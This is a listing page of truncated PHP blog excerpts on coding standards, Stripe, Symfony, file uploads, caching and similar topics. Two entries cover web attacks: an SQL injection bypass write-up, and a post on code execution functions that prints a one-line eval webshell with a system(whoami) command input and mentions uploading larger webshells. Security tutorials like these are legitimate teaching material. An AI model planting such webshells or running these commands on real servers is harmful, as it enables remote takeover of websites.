PHP Development Standards
PSR-[0-4]
PSR stands for Proposing a Standards Recommendation.
PSR-0 (Autoloading Standard)
PSR-1 (Basic Coding Standard)
PSR-2 (Coding Style Guide)
PSR-3 (Logger Interface)
PSR-4 (Improved Autoloading, can replace PSR-0)
PSR-1
PHP source files must use only the <?php and <?= tags.
Source code encoding must be UTF-8 without BOM.
A sour ...
Posted on Sun, 16 Aug 2026 16:01:03 +0000 by vboyz
Implementing Stripe Checkout and Webhook Verification in PHP
Dashboard Configuration and API Keys
Begin by logging into the Stripe Dashboard. Navigate to the Product Catalog to define the items you intend to sell. Once a product is created, generate a Price object associated with it. The identifier for this Price object (prefixed with price_) is required for the backend integration.
Retrieve the API keys ...
Posted on Sat, 15 Aug 2026 16:30:20 +0000 by tnkannan
Analyzing and Exploiting Common Web Security Vulnerabilities
SQL Injection with Advanced Bypass Techniques
This section details a classic SQL injection vulnerability, requiring a series of discovery steps and an advanced bypass method to retrieve sensitive information.
Vulnerability Identification
Initial reconnaissance revealed the presence of a SQL injection vulnerability. Inputting a single quote (1') ...
Posted on Fri, 07 Aug 2026 16:49:46 +0000 by ikon
Understanding Symfony: A Comprehensive Guide to PHP Framework Development
Symfony is a popular PHP framework renowned for its flexibility, efficiency, and rich feature set, making it a favorite among developers. It offers an ideal solution for building powerful, scalable, and mainatinable web applications. In this guide, we'll delve into Symfony's core concepts, key features, development workflow, and testing interfa ...
Posted on Fri, 07 Aug 2026 16:24:42 +0000 by ZachMEdwards
Understanding isset() and empty() in PHP
In PHP, isset() and empty() are commonly used to validate variables, especially when handling form data.
The isset() function checks whether a variable is declared and holds a value other than null. It returns false if the variable is not set or explicitly assigned null. If multiple variables are passed to isset(), it returns true only if all o ...
Posted on Thu, 06 Aug 2026 16:43:09 +0000 by supermerc
Comparing Values in PHP: Floating-Point, String, and Special Operators
When working with floating-point numbers in PHP, it's important to understend that the stored representation might differ slightly from the original input value. For example, the value 10.0 might be stored as 10.00001 internally.
When comparing two floating-point numbers for equality, you should calculate their difference and check if it falls ...
Posted on Wed, 05 Aug 2026 16:46:58 +0000 by MentalMonkey
Implementing Multiple Image Upload and Editing with Bootstrap FileInput and ThinkPHP 5
Integrating a robust multi-image upload component with existing data editing capabilities is a common requirement in content management systems. By combining ThinkPHP 5 with the Bootstrap FileInput plugin, you can handle asynchronous file uploads, preview existing images, and manage deletions seamlessly.
Frontend Form Configuration
First, const ...
Posted on Tue, 04 Aug 2026 16:31:40 +0000 by philspliff
Code Execution and Command Execution Functions in PHP
Code Execution Functions in PHP
1. eval() Function
Usage: The passed argument must be PHP code ending with a semicolon.
Command execution: cmd=system(whoami);
Webshell password: cmd
<?php @eval($_POST['cmd']);?>
When you cannot connect to the webshell, you can use the following file upload script to upload a larger webshell. First, cr ...
Posted on Mon, 03 Aug 2026 16:47:37 +0000 by nati
Generating PowerPoint Presentations with PHPPresentation Library
Overview
The PHPPresentation library enables PHP developers to create and export PowerPoint presentations programmatically. This functionality provides an effectiev solution for generating dynamic presentation content from web applications.
Prerequisites
Ensure PHP version 7.1 or higher is installed on your system.
Installation Process
Using Co ...
Posted on Sun, 02 Aug 2026 16:41:52 +0000 by veronicabend
Implementing Multi-Layer Caching in PHP with the Decorator Pattern
Why Use Multi-Layer Caching?
Consider a PHP application where each database query takes about 1 second—users experience slow page loads. Adding caching helps, but is a single cache layer sufficient?
In-memory cache is fast but volatile—it disappears when the service restarts.
Redis offers persistence but incurs network latency.
File-based cach ...
Posted on Sun, 02 Aug 2026 16:02:20 +0000 by captain_scarlet87